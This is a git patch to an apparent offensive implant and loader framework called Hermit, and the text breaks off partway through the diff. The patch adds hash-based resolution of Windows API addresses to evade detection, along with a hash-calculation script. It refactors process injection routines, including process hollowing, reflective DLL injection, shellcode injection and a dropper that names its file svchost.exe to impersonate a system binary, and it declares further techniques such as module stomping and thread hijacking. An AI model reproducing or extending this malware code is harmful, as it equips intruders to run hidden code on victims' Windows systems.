From 4be88c90f08e1389e158831cfa784e025fd348c4 Mon Sep 17 00:00:00 2001 From: hdks Date: Fri, 10 May 2024 01:31:16 +0900 Subject: [PATCH] Add API Hashing to resolve function addresses for implant and loader --- payload/win/implant/include/core/procs.hpp | 7 +- .../win/implant/include/core/technique.hpp | 27 +- payload/win/implant/src/core/procs.cpp | 8 +- payload/win/implant/src/core/task/pe.cpp | 4 +- .../technique/injection/dll_injection.cpp | 24 +- .../core/technique/injection/pe_injection.cpp | 20 +- .../injection/shellcode_injection.cpp | 9 +- payload/win/implant/src/hermit.cpp | 14 +- payload/win/loader/CMakeLists.txt | 2 +- payload/win/loader/include/core/procs.hpp | 75 ++- payload/win/loader/include/core/state.hpp | 1 + payload/win/loader/include/core/syscalls.hpp | 3 +- payload/win/loader/include/core/technique.hpp | 58 +- payload/win/loader/script/calc_api_hash.py | 99 ++++ payload/win/loader/src/core/procs.cpp | 235 +++++--- payload/win/loader/src/core/state.cpp | 1 + payload/win/loader/src/core/syscalls.cpp | 10 +- .../technique/injection/dll_injection.cpp | 18 +- .../core/technique/injection/pe_injection.cpp | 25 +- .../injection/shellcode_injection.cpp | 500 +++++++++++++++++- payload/win/loader/src/hermit.cpp | 74 ++- pkg/common/wizard/payload.go | 16 +- 22 files changed, 1018 insertions(+), 212 deletions(-) create mode 100644 payload/win/loader/script/calc_api_hash.py diff --git a/payload/win/implant/include/core/procs.hpp b/payload/win/implant/include/core/procs.hpp index 3905bc5..37796c8 100644 --- a/payload/win/implant/include/core/procs.hpp +++ b/payload/win/implant/include/core/procs.hpp @@ -296,7 +296,12 @@ namespace Procs }; typedef PROCS* PPROCS; - PPROCS FindProcs(HMODULE hKernel32DLL, HMODULE hNTDLL, HMODULE hWinHTTPDLL, BOOL bIndirectSyscalls); + PPROCS FindProcs( + HMODULE hNTDLL, + HMODULE hKernel32DLL, + HMODULE hWinHTTPDLL, + BOOL bIndirectSyscalls + ); } #endif // HERMIT_CORE_PROCS_HPP diff --git a/payload/win/implant/include/core/technique.hpp b/payload/win/implant/include/core/technique.hpp index d59d602..aec920e 100644 --- a/payload/win/implant/include/core/technique.hpp +++ b/payload/win/implant/include/core/technique.hpp @@ -26,35 +26,32 @@ namespace Technique::Injection { // DLL BOOL DllInjection( - Procs::PPROCS pProcs, - DWORD dwPID, - std::vector bytes + Procs::PPROCS pProcs, + DWORD dwPID, + const std::vector& bytes ); BOOL ReflectiveDLLInjection( - Procs::PPROCS pProcs, - DWORD dwPID, - std::vector bytes + Procs::PPROCS pProcs, + DWORD dwPID, + const std::vector& bytes ); // PE BOOL DirectExecution( - Procs::PPROCS pProcs, - std::vector bytes - ); - BOOL PEInjection( - Procs::PPROCS pProcs + Procs::PPROCS pProcs, + const std::vector& bytes ); BOOL ProcessHollowing( - Procs::PPROCS pProcs, - LPVOID lpBuffer, - const std::wstring &wTargetProcess + Procs::PPROCS pProcs, + const std::wstring& wTargetProcess, + const std::vector& bytes ); // Shellcode BOOL ShellcodeInjection( Procs::PPROCS pProcs, DWORD dwPID, - const std::vector& shellcode + const std::vector& bytes ); } diff --git a/payload/win/implant/src/core/procs.cpp b/payload/win/implant/src/core/procs.cpp index 07d6470..b37f138 100644 --- a/payload/win/implant/src/core/procs.cpp +++ b/payload/win/implant/src/core/procs.cpp @@ -2,8 +2,12 @@ namespace Procs { - PPROCS FindProcs(HMODULE hKernel32DLL, HMODULE hNTDLL, HMODULE hWinHTTPDLL, BOOL bIndirectSyscalls) - { + PPROCS FindProcs( + HMODULE hNTDLL, + HMODULE hKernel32DLL, + HMODULE hWinHTTPDLL, + BOOL bIndirectSyscalls + ) { PPROCS pProcs = new PROCS; // NT APIs diff --git a/payload/win/implant/src/core/task/pe.cpp b/payload/win/implant/src/core/task/pe.cpp index adaaf03..bdbb3e9 100644 --- a/payload/win/implant/src/core/task/pe.cpp +++ b/payload/win/implant/src/core/task/pe.cpp @@ -41,8 +41,8 @@ namespace Task { if (!Technique::Injection::ProcessHollowing( pState->pProcs, - (LPVOID)bytes.data(), - wTargetProcess + wTargetProcess, + bytes )) { return L"Error: Failed to inject an executable."; } diff --git a/payload/win/implant/src/core/technique/injection/dll_injection.cpp b/payload/win/implant/src/core/technique/injection/dll_injection.cpp index 31d59c8..dc7db30 100644 --- a/payload/win/implant/src/core/technique/injection/dll_injection.cpp +++ b/payload/win/implant/src/core/technique/injection/dll_injection.cpp @@ -85,9 +85,9 @@ namespace Technique::Injection::Helper namespace Technique::Injection { BOOL DllInjection( - Procs::PPROCS pProcs, - DWORD dwPID, - std::vector bytes + Procs::PPROCS pProcs, + DWORD dwPID, + const std::vector& bytes ) { HANDLE hProcess; HANDLE hThread; @@ -205,12 +205,12 @@ namespace Technique::Injection } BOOL ReflectiveDLLInjection( - Procs::PPROCS pProcs, - DWORD dwPID, - std::vector bytes + Procs::PPROCS pProcs, + DWORD dwPID, + const std::vector& bytes ) { - LPVOID lpBuffer = bytes.data(); - SIZE_T dwLength = bytes.size(); + LPVOID lpBuffer = (LPVOID)bytes.data(); + SIZE_T dwBufferSize = bytes.size(); HANDLE hToken; TOKEN_PRIVILEGES priv = {0}; @@ -246,7 +246,7 @@ namespace Technique::Injection pProcs, hProcess, nullptr, - dwLength, + dwBufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ); @@ -263,9 +263,9 @@ namespace Technique::Injection hProcess, lpRemoteBuffer, lpBuffer, - dwLength, + dwBufferSize, &dwNumberOfWritten - ) || dwNumberOfWritten != dwLength) { + ) || dwNumberOfWritten != dwBufferSize) { System::Process::VirtualMemoryFree(pProcs, hProcess, &lpRemoteBuffer, 0, MEM_RELEASE); System::Handle::HandleClose(pProcs, hProcess); return FALSE; @@ -277,7 +277,7 @@ namespace Technique::Injection pProcs, hProcess, &lpRemoteBuffer, - &dwLength, + &dwBufferSize, PAGE_EXECUTE_READWRITE, &dwOldProtect )) { diff --git a/payload/win/implant/src/core/technique/injection/pe_injection.cpp b/payload/win/implant/src/core/technique/injection/pe_injection.cpp index 760d7f4..176497d 100644 --- a/payload/win/implant/src/core/technique/injection/pe_injection.cpp +++ b/payload/win/implant/src/core/technique/injection/pe_injection.cpp @@ -3,8 +3,8 @@ namespace Technique::Injection { BOOL DirectExecution( - Procs::PPROCS pProcs, - std::vector bytes + Procs::PPROCS pProcs, + const std::vector& bytes ) { // Set the temp file path std::wstring wExeFileName = L"svchost.exe"; // Impersonate the file name. @@ -19,25 +19,17 @@ namespace Technique::Injection return System::Process::ExecuteFile(pProcs, wExePath); } - // Reference: - // https://www.ired.team/offensive-security/code-injection-process-injection/pe-injection-executing-pes-inside-remote-processes - BOOL PEInjection( - Procs::PPROCS pProcs - ) { - // TODO: Implement - return FALSE; - } - // References: // https://github.com/NATsCodes/ProcessHollowing/blob/master/Process%20Hollowing.cpp BOOL ProcessHollowing( - Procs::PPROCS pProcs, - LPVOID lpBuffer, - const std::wstring &wTargetProcess + Procs::PPROCS pProcs, + const std::wstring &wTargetProcess, + const std::vector& bytes ) { NTSTATUS status; // Read source EXE file + LPVOID lpBuffer = (LPVOID)bytes.data(); LPBYTE lpbBuffer = (LPBYTE)lpBuffer; // Create destination (suspended) process to be hollowed diff --git a/payload/win/implant/src/core/technique/injection/shellcode_injection.cpp b/payload/win/implant/src/core/technique/injection/shellcode_injection.cpp index 7df93cc..d6e3464 100644 --- a/payload/win/implant/src/core/technique/injection/shellcode_injection.cpp +++ b/payload/win/implant/src/core/technique/injection/shellcode_injection.cpp @@ -2,14 +2,17 @@ namespace Technique::Injection { - BOOL ShellcodeInjection(Procs::PPROCS pProcs, DWORD dwPID, const std::vector& shellcode) + BOOL ShellcodeInjection( + Procs::PPROCS pProcs, + DWORD dwPID, + const std::vector& bytes) { HANDLE hProcess; HANDLE hThread; LPVOID lpRemoteBuffer; - LPVOID lpBuffer = (LPVOID)shellcode.data(); - SIZE_T dwBufferLen = shellcode.size(); + LPVOID lpBuffer = (LPVOID)bytes.data(); + SIZE_T dwBufferLen = bytes.size(); hProcess = System::Process::ProcessOpen( pProcs, diff --git a/payload/win/implant/src/hermit.cpp b/payload/win/implant/src/hermit.cpp index a2de2dd..abbdb48 100644 --- a/payload/win/implant/src/hermit.cpp +++ b/payload/win/implant/src/hermit.cpp @@ -22,18 +22,16 @@ namespace Hermit LPCWSTR lpKey, LPCWSTR lpIV ) { - HMODULE hKernel32DLL = LoadLibrary(L"kernel32.dll"); - if (!hKernel32DLL) - { - return; - } - HMODULE hNTDLL = LoadLibrary(L"ntdll.dll"); if (!hNTDLL) { return; } - + HMODULE hKernel32DLL = LoadLibrary(L"kernel32.dll"); + if (!hKernel32DLL) + { + return; + } HMODULE hWinHTTPDLL = LoadLibrary(L"winhttp.dll"); if (!hWinHTTPDLL) { @@ -48,7 +46,7 @@ namespace Hermit pState->hKernel32DLL = hKernel32DLL; pState->hNTDLL = hNTDLL; pState->hWinHTTPDLL = hWinHTTPDLL; - pState->pProcs = Procs::FindProcs(hKernel32DLL, hNTDLL, hWinHTTPDLL, bIndirectSyscalls); + pState->pProcs = Procs::FindProcs(hNTDLL, hKernel32DLL, hWinHTTPDLL, bIndirectSyscalls); pState->hInstance = hInstance; pState->nCmdShow = nCmdShow; pState->lpPayloadType = lpPayloadType; diff --git a/payload/win/loader/CMakeLists.txt b/payload/win/loader/CMakeLists.txt index bce94ab..deb8aab 100644 --- a/payload/win/loader/CMakeLists.txt +++ b/payload/win/loader/CMakeLists.txt @@ -85,7 +85,7 @@ elseif(${PAYLOAD_TYPE} STREQUAL \"shellcode-loader\") endif() # LINK LIBRATILIES -link_libraries(bcrypt crypt32 winhttp wsock32) +link_libraries(bcrypt crypt32 psapi winhttp wsock32) # ADD if(${PAYLOAD_FORMAT} STREQUAL "dll") diff --git a/payload/win/loader/include/core/procs.hpp b/payload/win/loader/include/core/procs.hpp index d41dc7d..7e40ada 100644 --- a/payload/win/loader/include/core/procs.hpp +++ b/payload/win/loader/include/core/procs.hpp @@ -2,12 +2,66 @@ #define HERMIT_CORE_PROCS_HPP #include "core/ntdll.hpp" +#include "core/stdout.hpp" #include "core/syscalls.hpp" #include #include #include #include +#include + +#define APIHASH_NTCREATEPROCESSEX 0xbd003d8b +#define APIHASH_NTOPENPROCESS 0x64e24f6a +#define APIHASH_NTOPENPROCESSTOKEN 0xcdd9f7af +#define APIHASH_NTTERMINATEPROCESS 0xc58a7b49 +#define APIHASH_NTQUERYINFORMATIONPROCESS 0xa79c59b0 +#define APIHASH_NTSETINFORMATIONPROCESS 0xb5d02d0a +#define APIHASH_NTCREATETHREADEX 0x2afc9934 +#define APIHASH_NTOPENTHREAD 0xa58f60af +#define APIHASH_NTRESUMETHREAD 0x8bad8d92 +#define APIHASH_NTGETCONTEXTTHREAD 0x904d345e +#define APIHASH_NTSETCONTEXTTHREAD 0x25df9cd2 +#define APIHASH_NTALLOCATEVIRTUALMEMORYEX 0x28af7fe7 +#define APIHASH_NTREADVIRTUALMEMORY 0x88bc3b5b +#define APIHASH_NTWRITEVIRTUALMEMORY 0x7c61e008 +#define APIHASH_NTPROTECTVIRTUALMEMORY 0xa7df2bd8 +#define APIHASH_NTFREEVIRTUALMEMORY 0xb6eb4645 +#define APIHASH_NTDUPLICATEOBJECT 0xae23334f +#define APIHASH_NTWAITFORSINGLEOBJECT 0x73c87a00 +#define APIHASH_NTCLOSE 0x6f18e5dd +#define APIHASH_NTCREATEFILE 0x2f4d94d3 +#define APIHASH_NTREADFILE 0xc363b2ad +#define APIHASH_NTWRITEFILE 0x9339e2e0 +#define APIHASH_NTCREATENAMEDPIPEFILE 0x333974ac +#define APIHASH_NTQUERYINFORMATIONFILE 0x6226c85b +#define APIHASH_NTSETINFORMATIONFILE 0x52a8041 +#define APIHASH_NTUNMAPVIEWOFSECTION 0x574e9fc1 +#define APIHASH_RTLALLOCATEHEAP 0xcc7755e +#define APIHASH_RTLZEROMEMORY 0x899c0d1e +#define APIHASH_RTLINITUNICODESTRING 0x4dc9caa9 +#define APIHASH_RTLSTRINGCATW 0x333f6b47 +#define APIHASH_RTLSTRINGCCHCOPYW 0x32231e60 +#define APIHASH_RTLSTRINGCCHLENGTHW 0x28821d8f +#define APIHASH_RTLQUERYSYSTEMINFORMATION 0xf6044a6a +#define APIHASH_RTLEXPANDENVIRONMENTSTRINGS 0xb73f443e +#define APIHASH_RTLGETFULLPATHNAME_U 0x2116c216 +#define APIHASH_CREATETHREADPOOLWAIT 0x7a8370ac +#define APIHASH_SETTHREADPOOLWAIT 0x5f2a3808 +#define APIHASH_WINHTTPOPEN 0x97451379 +#define APIHASH_WINHTTPCONNECT 0xe18b30db +#define APIHASH_WINHTTPOPENREQUEST 0xd6cffcd6 +#define APIHASH_WINHTTPSETOPTION 0x48ed79a8 +#define APIHASH_WINHTTPSENDREQUEST 0x79792358 +#define APIHASH_WINHTTPWRITEDATA 0xeed55fda +#define APIHASH_WINHTTPRECEIVERESPONSE 0x66131eb5 +#define APIHASH_WINHTTPQUERYHEADERS 0xe17c65cd +#define APIHASH_WINHTTPQUERYDATAAVAILABLE 0xff301fc6 +#define APIHASH_WINHTTPREADDATA 0x70389c8f +#define APIHASH_WINHTTPCLOSEHANDLE 0x22081731 + +#define HASH_IV 0x35 +#define RANDOM_ADDR 0xab10f29f typedef struct _PS_ATTRIBUTE { @@ -106,6 +160,10 @@ namespace Procs typedef NTSTATUS (NTAPI* LPPROC_RTLGETFULLPATHNAME_U)(PCWSTR FileName, ULONG BufferLength, PWSTR Buffer, PWSTR *FilePart); // **WINAPIs** + // CreateThreadpoolWait + typedef PTP_WAIT (WINAPI* LPPROC_CREATETHREADPOOLWAIT)(PTP_WAIT_CALLBACK pfnwa, PVOID pv, PTP_CALLBACK_ENVIRON pcbe); + // SetThreadpoolWait + typedef VOID (WINAPI* LPPROC_SETTHREADPOOLWAIT)(PTP_WAIT pwa, HANDLE h, PFILETIME pftTimeout); // WinHttpOpen typedef HINTERNET (WINAPI* LPPROC_WINHTTPOPEN)(LPCWSTR pszAgentW, DWORD dwAccessType, LPCWSTR pszProxyW, LPCWSTR pszProxyBypassW, DWORD dwFlags); // WinHttpConnect @@ -131,7 +189,7 @@ namespace Procs struct PROCS { - // **NATIVE APIs** + // **NATIVE APIs** LPPROC_NTCREATEPROCESSEX lpNtCreateProcessEx = nullptr; LPPROC_NTOPENPROCESS lpNtOpenProcess = nullptr; LPPROC_NTOPENPROCESSTOKEN lpNtOpenProcessToken = nullptr; @@ -168,10 +226,11 @@ namespace Procs LPPROC_RTLSTRINGCCHLENGTHW lpRtlStringCchLengthW = nullptr; LPPROC_RTLQUERYSYSTEMINFORMATION lpRtlQuerySystemInformation = nullptr; LPPROC_RTLEXPANDENVIRONMENTSTRINGS lpRtlExpandEnvironmentStrings = nullptr; - LPPROC_RTLNTSTATUSTODOSERROR lpRtlNtStatusToDosError = nullptr; LPPROC_RTLGETFULLPATHNAME_U lpRtlGetFullPathName_U = nullptr; // **WINAPIs** + LPPROC_CREATETHREADPOOLWAIT lpCreateThreadpoolWait = nullptr; + LPPROC_SETTHREADPOOLWAIT lpSetThreadpoolWait = nullptr; LPPROC_WINHTTPOPEN lpWinHttpOpen = nullptr; LPPROC_WINHTTPCONNECT lpWinHttpConnect = nullptr; LPPROC_WINHTTPOPENREQUEST lpWinHttpOpenRequest = nullptr; @@ -215,7 +274,17 @@ namespace Procs typedef PROCS* PPROCS; - PPROCS FindProcs(HMODULE hNTDLL, HMODULE hWinHTTPDLL, BOOL bIndirectSyscalls); + DWORD GetHashFromString(char* str); + PVOID GetProcAddressByHash( + HMODULE hModule, + DWORD dwHash + ); + PPROCS FindProcs( + HMODULE hNTDLL, + HMODULE hKernel32DLL, + HMODULE hWinHTTPDLL, + BOOL bIndirectSyscalls + ); } #endif // HERMIT_CORE_PROCS_HPP \ No newline at end of file diff --git a/payload/win/loader/include/core/state.hpp b/payload/win/loader/include/core/state.hpp index 7ba05ef..1ae0f8d 100644 --- a/payload/win/loader/include/core/state.hpp +++ b/payload/win/loader/include/core/state.hpp @@ -18,6 +18,7 @@ namespace State Crypt::PCRYPT pCrypt; // Module handlers + HMODULE hKernel32DLL; HMODULE hNTDLL; HMODULE hWinHTTPDLL; diff --git a/payload/win/loader/include/core/syscalls.hpp b/payload/win/loader/include/core/syscalls.hpp index 392b43b..6aa95f2 100644 --- a/payload/win/loader/include/core/syscalls.hpp +++ b/payload/win/loader/include/core/syscalls.hpp @@ -1,6 +1,7 @@ #ifndef HERMIT_CORE_SYSCALLS_HPP #define HERMIT_CORE_SYSCALLS_HPP +#include "core/stdout.hpp" #include "core/utils.hpp" #include @@ -39,7 +40,7 @@ namespace Syscalls }; typedef SYSCALL* PSYSCALL; - SYSCALL FindSyscall(HMODULE hNTDLL, LPCSTR lpNtFunc); + SYSCALL FindSyscall(UINT_PTR pNtFuncAddr); WORD FindSyscallFromImageBase( PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pExportDir, diff --git a/payload/win/loader/include/core/technique.hpp b/payload/win/loader/include/core/technique.hpp index 34c7294..97e5f57 100644 --- a/payload/win/loader/include/core/technique.hpp +++ b/payload/win/loader/include/core/technique.hpp @@ -9,6 +9,7 @@ #include #include #include +#include #include typedef ULONG_PTR (WINAPI * LPPROC_REFLECTIVEDLLLOADER)(); @@ -48,41 +49,62 @@ namespace Technique::Injection BOOL DLLInjection( Procs::PPROCS pProcs, DWORD dwPID, - std::vector bytes + const std::vector& bytes ); BOOL ReflectiveDLLInjection( Procs::PPROCS pProcs, DWORD dwPID, - std::vector bytes + const std::vector& bytes ); // PE BOOL DirectExecution( - Procs::PPROCS pProcs, - std::vector bytes - ); - BOOL PEInjection( - Procs::PPROCS pProcs + Procs::PPROCS pProcs, + const std::vector& bytes ); BOOL ProcessHollowing( - Procs::PPROCS pProcs, - LPVOID lpBuffer, - const std::wstring &wTargetProcess + Procs::PPROCS pProcs, + const std::wstring &wTargetProcess, + const std::vector& bytes ); - // Shellcode + // SHELLCODE BOOL ShellcodeInjection( - Procs::PPROCS pProcs, - DWORD dwPID, - const std::vector& shellcode + Procs::PPROCS pProcs, + DWORD dwPID, + const std::vector& bytes ); BOOL ShellcodeExecutionViaFibers( - Procs::PPROCS pProcs, - const std::vector& shellcode + Procs::PPROCS pProcs, + const std::vector& bytes ); BOOL ShellcodeExecutionViaAPCAndNtTestAlert( - Procs::PPROCS pProcs, - const std::vector& shellcode + Procs::PPROCS pProcs, + const std::vector& bytes + ); + BOOL EarlyBirdAPCQueueCodeInjection( + Procs::PPROCS pProcs, + const std::wstring& wTargetProcess, + const std::vector& bytes + ); + BOOL ShellcodeExecutionViaCreateThreadpoolWait( + Procs::PPROCS pProcs, + const std::vector& bytes + ); + BOOL ThreadExecutionHijacking( + Procs::PPROCS pProcs, + DWORD dwPID, + const std::vector& bytes + ); + BOOL AddressOfEntryPointInjection( + Procs::PPROCS pProcs, + const std::wstring& wTargetProcess, + const std::vector& bytes + ); + BOOL ModuleStomping( + Procs::PPROCS pProcs, + DWORD dwPID, + const std::vector& bytes ); } diff --git a/payload/win/loader/script/calc_api_hash.py b/payload/win/loader/script/calc_api_hash.py new file mode 100644 index 0000000..fe98a10 --- /dev/null +++ b/payload/win/loader/script/calc_api_hash.py @@ -0,0 +1,99 @@ +from typing import Mapping + +APIS = [ + # NATIVE APIS + "NtCreateProcessEx", + "NtOpenProcess", + "NtOpenProcessToken", + "NtTerminateProcess", + "NtQueryInformationProcess", + "NtSetInformationProcess", + "NtCreateThreadEx", + "NtOpenThread", + "NtResumeThread", + "NtGetContextThread", + "NtSetContextThread", + "NtAllocateVirtualMemoryEx", + "NtReadVirtualMemory", + "NtWriteVirtualMemory", + "NtProtectVirtualMemory", + "NtFreeVirtualMemory", + "NtDuplicateObject", + "NtWaitForSingleObject", + "NtClose", + "NtCreateFile", + "NtReadFile", + "NtWriteFile", + "NtCreateNamedPipeFile", + "NtQueryInformationFile", + "NtSetInformationFile", + "NtUnmapViewOfSection", + # NATIVE APIS (RUNTIME LIBRARY) + "RtlAllocateHeap", + "RtlZeroMemory", + "RtlInitUnicodeString", + "RtlStringCatW", + "RtlStringCchCopyW", + "RtlStringCchLengthW", + "RtlQuerySystemInformation", + "RtlExpandEnvironmentStrings", + "RtlGetFullPathName_U", + # WINAPIS + "CreateThreadpoolWait", + "SetThreadpoolWait", + "WinHttpOpen", + "WinHttpConnect", + "WinHttpOpenRequest", + "WinHttpSetOption", + "WinHttpSendRequest", + "WinHttpWriteData", + "WinHttpReceiveResponse", + "WinHttpQueryHeaders", + "WinHttpQueryDataAvailable", + "WinHttpReadData", + "WinHttpCloseHandle" +] + +HASH_IV = 0x35 +RANDOM_ADDR = 0xab10f29f + +def calc_hash(string: str) -> int: + str_length = len(string) + hash = HASH_IV + + for s in string: + # hash = ((hash << 5) + hash) + ord(s) + hash = hash * RANDOM_ADDR + ord(s) + + return hash & 0xFFFFFFFF + + +def is_dupl(hashes: Mapping[str, str], hash: str) -> bool: + for v in hashes.values(): + if v == hash: + return True + return False + + +def main(): + hashes = {} + for api in APIS: + hash_value = calc_hash(api) + hash_fmt = f"{'0x{0:x}'.format(hash_value)}" + + # Check if the hash is duplicate + if is_dupl(hashes, hash_fmt) is True: + print("The calculated hash is duplicate. Please try again.") + return + + hashes[f"#define APIHASH_{api.upper()}"] = hash_fmt + + max_length = max(len(api_name) for api_name in hashes.keys()) + + for api_name, api_hash in hashes.items(): + print(f"{api_name.ljust(max_length)} {api_hash}") + + +if __name__ == "__main__": + print("Set the following defines to a header file such as 'procs.hpp'.\n") + main() diff --git a/payload/win/loader/src/core/procs.cpp b/payload/win/loader/src/core/procs.cpp index 2ac82e2..1e945e4 100644 --- a/payload/win/loader/src/core/procs.cpp +++ b/payload/win/loader/src/core/procs.cpp @@ -2,86 +2,183 @@ namespace Procs { - PPROCS FindProcs(HMODULE hNTDLL, HMODULE hWinHTTPDLL, BOOL bIndirectSyscall) + DWORD GetHashFromString(char* str) { + size_t dwStringLength = strlen(str); + DWORD dwHash = HASH_IV; + + for (size_t i = 0; i < dwStringLength; i++) + { + dwHash = dwHash * RANDOM_ADDR + static_cast(str[i]); + } + + return dwHash & 0xFFFFFFFF; + } + + PVOID GetProcAddressByHash( + HMODULE hModule, + DWORD dwHash + ) { + PVOID pFuncAddr = nullptr; + + PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule; + PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)hModule + pDosHeader->e_lfanew); + + DWORD_PTR dwpExportDirRVA = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + + PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)hModule + dwpExportDirRVA); + + PDWORD pdwAddrOfFuncsRVA = (PDWORD)((DWORD_PTR)hModule + pExportDir->AddressOfFunctions); + PDWORD pdwAddrOfNamesRVA = (PDWORD)((DWORD_PTR)hModule + pExportDir->AddressOfNames); + PWORD pdwAddrOfNameOrdinalsRVA = (PWORD)((DWORD_PTR)hModule + pExportDir->AddressOfNameOrdinals); + + for (DWORD i = 0; i < pExportDir->NumberOfFunctions; i++) + { + DWORD dwFuncNameRVA = pdwAddrOfNamesRVA[i]; + DWORD_PTR dwpFuncNameRVA = (DWORD_PTR)hModule + dwFuncNameRVA; + char* sFuncName = (char*)dwpFuncNameRVA; + DWORD_PTR dwpFuncAddrRVA = 0; + + DWORD dwFuncNameHash = GetHashFromString(sFuncName); + if (dwFuncNameHash == dwHash) + { + dwpFuncAddrRVA = pdwAddrOfFuncsRVA[pdwAddrOfNameOrdinalsRVA[i]]; + pFuncAddr = (PVOID)((DWORD_PTR)hModule + dwpFuncAddrRVA); + return pFuncAddr; + } + } + + return nullptr; + } + + PPROCS FindProcs( + HMODULE hNTDLL, + HMODULE hKernel32DLL, + HMODULE hWinHTTPDLL, + BOOL bIndirectSyscall + ) { PPROCS pProcs = new PROCS; // NTAPIs - pProcs->lpNtCreateProcessEx = reinterpret_cast(GetProcAddress(hNTDLL, "NtCreateProcessEx")); - pProcs->lpNtOpenProcess = reinterpret_cast(GetProcAddress(hNTDLL, "NtOpenProcess")); - pProcs->lpNtOpenProcessToken = reinterpret_cast(GetProcAddress(hNTDLL, "NtOpenProcessToken")); - pProcs->lpNtTerminateProcess = reinterpret_cast(GetProcAddress(hNTDLL, "NtTerminateProcess")); - pProcs->lpNtQueryInformationProcess = reinterpret_cast(GetProcAddress(hNTDLL, "NtQueryInformationProcess")); - pProcs->lpNtSetInformationProcess = reinterpret_cast(GetProcAddress(hNTDLL, "NtSetInformationProcess")); - pProcs->lpNtCreateThreadEx = reinterpret_cast(GetProcAddress(hNTDLL, "NtCreateThreadEx")); - pProcs->lpNtOpenThread = reinterpret_cast(GetProcAddress(hNTDLL, "NtOpenThread")); - pProcs->lpNtResumeThread = reinterpret_cast(GetProcAddress(hNTDLL, "NtResumeThread")); - pProcs->lpNtGetContextThread = reinterpret_cast(GetProcAddress(hNTDLL, "NtGetContextThread")); - pProcs->lpNtSetContextThread = reinterpret_cast(GetProcAddress(hNTDLL, "NtSetContextThread")); - pProcs->lpNtAllocateVirtualMemory = reinterpret_cast(GetProcAddress(hNTDLL, "NtAllocateVirtualMemory")); - pProcs->lpNtReadVirtualMemory = reinterpret_cast(GetProcAddress(hNTDLL, "NtReadVirtualMemory")); - pProcs->lpNtWriteVirtualMemory = reinterpret_cast(GetProcAddress(hNTDLL, "NtWriteVirtualMemory")); - pProcs->lpNtProtectVirtualMemory = reinterpret_cast(GetProcAddress(hNTDLL, "NtProtectVirtualMemory")); - pProcs->lpNtFreeVirtualMemory = reinterpret_cast(GetProcAddress(hNTDLL, "NtFreeVirtualMemory")); - pProcs->lpNtDuplicateObject = reinterpret_cast(GetProcAddress(hNTDLL, "NtDuplicateObject")); - pProcs->lpNtWaitForSingleObject = reinterpret_cast(GetProcAddress(hNTDLL, "NtWaitForSingleObject")); - pProcs->lpNtClose = reinterpret_cast(GetProcAddress(hNTDLL, "NtClose")); - pProcs->lpNtCreateFile = reinterpret_cast(GetProcAddress(hNTDLL, "NtCreateFile")); - pProcs->lpNtReadFile = reinterpret_cast(GetProcAddress(hNTDLL, "NtReadFile")); - pProcs->lpNtWriteFile = reinterpret_cast(GetProcAddress(hNTDLL, "NtWriteFile")); - pProcs->lpNtUnmapViewOfSection = reinterpret_cast(GetProcAddress(hNTDLL, "NtUnmapViewOfSection")); + PVOID pNtCreateProcessEx = GetProcAddressByHash(hNTDLL, APIHASH_NTCREATEPROCESSEX); + pProcs->lpNtCreateProcessEx = reinterpret_cast(pNtCreateProcessEx); + PVOID pNtOpenProcess = GetProcAddressByHash(hNTDLL, APIHASH_NTOPENPROCESS); + pProcs->lpNtOpenProcess = reinterpret_cast(pNtOpenProcess); + PVOID pNtOpenProcessToken = GetProcAddressByHash(hNTDLL, APIHASH_NTOPENPROCESSTOKEN); + pProcs->lpNtOpenProcessToken = reinterpret_cast(pNtOpenProcessToken); + PVOID pNtTerminateProcess = GetProcAddressByHash(hNTDLL, APIHASH_NTTERMINATEPROCESS); + pProcs->lpNtTerminateProcess = reinterpret_cast(pNtTerminateProcess); + PVOID pNtQueryInformationProcess = GetProcAddressByHash(hNTDLL, APIHASH_NTQUERYINFORMATIONPROCESS); + pProcs->lpNtQueryInformationProcess = reinterpret_cast(pNtQueryInformationProcess); + PVOID pNtSetInformationProcess = GetProcAddressByHash(hNTDLL, APIHASH_NTSETINFORMATIONPROCESS); + pProcs->lpNtSetInformationProcess = reinterpret_cast(pNtSetInformationProcess); + PVOID pNtCreateThreadEx = GetProcAddressByHash(hNTDLL, APIHASH_NTCREATETHREADEX); + pProcs->lpNtCreateThreadEx = reinterpret_cast(pNtCreateThreadEx); + PVOID pNtOpenThread = GetProcAddressByHash(hNTDLL, APIHASH_NTOPENTHREAD); + pProcs->lpNtOpenThread = reinterpret_cast(pNtOpenThread); + PVOID pNtResumeThread = GetProcAddressByHash(hNTDLL, APIHASH_NTRESUMETHREAD); + pProcs->lpNtResumeThread = reinterpret_cast(pNtResumeThread); + PVOID pNtGetContextThread = GetProcAddressByHash(hNTDLL, APIHASH_NTGETCONTEXTTHREAD); + pProcs->lpNtGetContextThread = reinterpret_cast(pNtGetContextThread); + PVOID pNtSetContextThread = GetProcAddressByHash(hNTDLL, APIHASH_NTSETCONTEXTTHREAD); + pProcs->lpNtSetContextThread = reinterpret_cast(pNtSetContextThread); + PVOID pNtAllocateVirtualMemory = GetProcAddressByHash(hNTDLL, APIHASH_NTALLOCATEVIRTUALMEMORYEX); + pProcs->lpNtAllocateVirtualMemory = reinterpret_cast(pNtAllocateVirtualMemory); + PVOID pNtReadVirtualMemory = GetProcAddressByHash(hNTDLL, APIHASH_NTREADVIRTUALMEMORY); + pProcs->lpNtReadVirtualMemory = reinterpret_cast(pNtReadVirtualMemory); + PVOID pNtWriteVirtualMemory = GetProcAddressByHash(hNTDLL, APIHASH_NTWRITEVIRTUALMEMORY); + pProcs->lpNtWriteVirtualMemory = reinterpret_cast(pNtWriteVirtualMemory); + PVOID pNtProtectVirtualMemory = GetProcAddressByHash(hNTDLL, APIHASH_NTPROTECTVIRTUALMEMORY); + pProcs->lpNtProtectVirtualMemory = reinterpret_cast(pNtProtectVirtualMemory); + PVOID pNtFreeVirtualMemory = GetProcAddressByHash(hNTDLL, APIHASH_NTFREEVIRTUALMEMORY); + pProcs->lpNtFreeVirtualMemory = reinterpret_cast(pNtFreeVirtualMemory); + PVOID pNtDuplicateObject = GetProcAddressByHash(hNTDLL, APIHASH_NTDUPLICATEOBJECT); + 